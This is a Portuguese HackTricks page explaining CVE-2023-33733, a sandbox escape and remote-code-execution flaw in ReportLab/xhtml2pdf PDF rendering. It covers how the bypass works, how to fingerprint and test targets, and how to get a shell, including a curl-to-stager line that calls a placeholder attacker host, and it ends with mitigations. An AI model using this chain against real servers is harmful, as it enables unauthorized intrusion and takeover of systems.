ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.
CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores envoltos em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao construir um payload que pivota de um builtin permitido (pow) para os globals da sua função Python, um atacante pode alcançar o módulo os e executar comandos.
Pontos-chave
- Gatilho: injete [[[ ... ]]] em atributos avaliados como dentro de marcação parseada pelo ReportLab/xhtml2pdf.
 - Sandbox: rl_safe_eval substitui builtins perigosos mas funções avaliadas ainda expõem globals.
 - Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string "globals" enquanto evita o filtro de dunder bloqueado.
 - RCE: getattr(pow, Word("globals"))["os"].system("
")  - Estabilidade: retorne um valor válido para o atributo após a execução (para color, use and 'red').
 
Quando testar
- Aplicações que expõem a exportação HTML-to-PDF (perfis, faturas, relatórios) e que mostram xhtml2pdf/ReportLab em metadados do PDF ou comentários na resposta HTTP.
 - exiftool profile.pdf | egrep 'Producer|Title|Creator' → produtor "xhtml2pdf"
 - A resposta HTTP para o PDF frequentemente começa com um comentário do gerador ReportLab
 
Como o bypass da sandbox funciona
- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
 - No entanto, funções "seguras" existem em um dicionário globals acessível como func.globals.
 - Use type(type(1)) para recuperar a função builtin type real (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
 - .startswith('') → sempre False (contorna a verificação startswith(''))
 - .eq retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True depois (para que getattr do Python funcione)
 - .hash igual a hash(str(self))
 - Com isso, getattr(pow, Word('globals')) retorna o dict globals da função empacotada pow, que inclui um módulo os importado. Então: ['os'].system('
').  
Padrão mínimo de exploração (exemplo em atributo) Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor de atributo válido via boolean e 'red'.
- A forma por list-comprehension permite uma única expressão aceitável para rl_safe_eval.
 - O sufixo and 'red' retorna uma cor CSS válida para que a renderização não quebre.
 - Substitua o comando conforme necessário; use ping para validar a execução com tcpdump.
 
Fluxo operacional
- Identificar o gerador de PDF
 
- O Producer do PDF mostra xhtml2pdf; a resposta HTTP contém um comentário do ReportLab.
 
- Encontre uma entrada refletida no PDF (ex.: profile bio/description) e dispare uma exportação.
 - Verifique a execução com ICMP de baixo ruído
 
- Run: sudo tcpdump -ni 
icmp  - Payload: ... system('ping <your_ip>') ...
 - O Windows frequentemente envia exatamente quatro solicitações de echo por padrão.
 
- Estabelecer uma shell
 
- Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
 - Stage 1 (download):
 
- Stage 2 (execute):
 
- Para targets Linux, é possível um fluxo em duas etapas similar com curl/wget:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
 
Notas e dicas
- Contextos de atributos: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
 - Quoting: mantenha comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
 - Confiabilidade: Se exports forem cacheados ou enfileirados, varie levemente o payload (ex.: caminho ou query aleatória) para evitar caches.
 
Mitigações e detecção
- Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Acompanhe advisories de segurança em pacotes da distro também.
 - Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem uma sanitização rigorosa. Remova/negue as construções de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
 - Considere desabilitar ou envolver (wrap) o uso de rl_safe_eval inteiramente para entradas não confiáveis.
 - Monitore por conexões outbound suspeitas durante a geração de PDFs (ex.: ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).
 
Referências
- PoC e análise técnica: c53elyas/CVE-2023-33733
 - 0xdf University HTB write-up (exploração no mundo real, payloads Windows em duas etapas): HTB: University
 - Entrada NVD (versões afetadas): CVE-2023-33733
 - xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks